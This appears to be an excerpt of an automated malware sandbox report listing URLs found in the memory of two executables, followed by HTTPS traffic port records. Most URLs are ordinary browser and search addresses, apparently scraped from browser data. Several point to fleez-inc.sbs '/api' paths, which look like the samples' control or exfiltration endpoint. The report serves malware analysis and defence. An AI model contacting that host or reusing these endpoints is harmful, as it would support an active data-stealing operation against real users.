Source: c3e1e78f6d.exe, 0000000D.00000003.2436187685.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2579390588.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844798958.000000000557E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: c3e1e78f6d.exe, 0000000D.00000003.2436187685.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2579390588.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844798958.000000000557E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2186074735.0000000023162000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2442635266.0000000001566000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2581226163.000000000103B000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2847017068.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2186074735.0000000023162000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2442635266.0000000001566000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2617679754.000000000102E000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2618646977.0000000001038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2186074735.0000000023162000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2442635266.0000000001566000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2581226163.000000000103B000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2847017068.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2186074735.0000000023162000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2442635266.0000000001566000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2581226163.000000000103B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: c3e1e78f6d.exe, 00000017.00000003.3024056962.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3021521340.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2845222111.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2825273881.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2825364278.0000000000E85000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2902319838.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844405676.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2889037273.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2889401685.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/
Source: c3e1e78f6d.exe, 00000017.00000003.3023444353.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3024056962.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/1
Source: c3e1e78f6d.exe, 00000017.00000003.2845222111.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844405676.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2889037273.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2889401685.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/6
Source: c3e1e78f6d.exe, 00000017.00000003.2789320451.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/8-
Source: c3e1e78f6d.exe, 0000000D.00000002.2621813218.000000000152A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2604516981.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/8d
Source: c3e1e78f6d.exe, 00000017.00000003.2902319838.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/:
Source: c3e1e78f6d.exe, 00000011.00000002.2742683237.0000000000F8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/EM
Source: c3e1e78f6d.exe, 00000011.00000003.2579245293.0000000001044000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/K
Source: c3e1e78f6d.exe, 0000000D.00000003.2469989479.0000000001538000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2482197215.0000000001538000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/S
Source: c3e1e78f6d.exe, 0000000D.00000002.2621813218.000000000152A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2604516981.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/V
Source: c3e1e78f6d.exe, 00000017.00000003.3021521340.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2825589487.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2825273881.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/api
Source: c3e1e78f6d.exe, 0000000D.00000003.2496388933.0000000001553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/apiJrD6
Source: c3e1e78f6d.exe, 00000011.00000002.2742683237.0000000000FB5000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2729046669.0000000000FB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/apigsa
Source: c3e1e78f6d.exe, 00000017.00000003.2789320451.0000000000E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/apit
Source: c3e1e78f6d.exe, 0000000D.00000003.2481952263.000000000156D000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2496648993.000000000156D000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000002.2622414625.0000000001568000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2436690811.000000000156E000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2461507876.000000000156A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2604699653.0000000001567000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2485579404.000000000156D000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2435330093.000000000156E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/ept-Ra
Source: c3e1e78f6d.exe, 00000011.00000003.2541515615.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/gRO
Source: c3e1e78f6d.exe, 00000011.00000003.2632722456.000000000100E000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2638262334.000000000100A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2638327582.000000000100E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/nRv
Source: c3e1e78f6d.exe, 00000017.00000003.3023444353.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3024056962.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2902319838.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/o
Source: c3e1e78f6d.exe, 00000017.00000003.2789320451.0000000000E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/w
Source: c3e1e78f6d.exe, 0000000D.00000003.2494815905.0000000001559000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2496388933.0000000001559000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2496752556.0000000001559000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2789320451.0000000000E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs:443/api
Source: c3e1e78f6d.exe, 00000011.00000003.2728217584.0000000001001000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000002.2742683237.0000000001003000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs:443/apiR
Source: c3e1e78f6d.exe, 00000017.00000003.2847017068.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: c3e1e78f6d.exe, 0000000D.00000003.2406071640.0000000005C80000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2541946634.0000000005810000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808081609.000000000559E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: c3e1e78f6d.exe, 00000017.00000003.2846114572.0000000005663000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: c3e1e78f6d.exe, 00000017.00000003.2846114572.0000000005663000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2075191606.00000000233A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1995137985.000000001D03E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2160637336.00000000007D4000.00000040.00000001.01000000.00000003.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406192749.0000000005C77000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406071640.0000000005C7E000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2541946634.000000000580E000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808081609.000000000559C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: c3e1e78f6d.exe, 0000000D.00000003.2406192749.0000000005C52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1995137985.000000001D03E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2160637336.00000000007D4000.00000040.00000001.01000000.00000003.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406192749.0000000005C77000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406071640.0000000005C7E000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2541946634.000000000580E000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808081609.000000000559C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: c3e1e78f6d.exe, 0000000D.00000003.2406192749.0000000005C52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: file.exe, 00000000.00000002.2160637336.00000000007D4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2186074735.0000000023162000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2442635266.0000000001566000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2617679754.000000000102E000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2618646977.0000000001038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2186074735.0000000023162000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2442635266.0000000001566000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2581226163.000000000103B000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2847017068.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000002.2160637336.00000000008B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: c3e1e78f6d.exe, 00000017.00000003.2846114572.0000000005663000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2160637336.00000000008B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2160637336.00000000008B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: c3e1e78f6d.exe, 00000017.00000003.2846114572.0000000005663000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2160637336.00000000008B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2075191606.00000000233A2000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2442043226.0000000005D4C000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2580739475.00000000058D9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2846114572.0000000005663000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: c3e1e78f6d.exe, 00000017.00000003.2846114572.0000000005663000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2160637336.00000000008B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2075191606.00000000233A2000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2442043226.0000000005D4C000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2580739475.00000000058D9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2846114572.0000000005663000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2160637336.00000000008B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
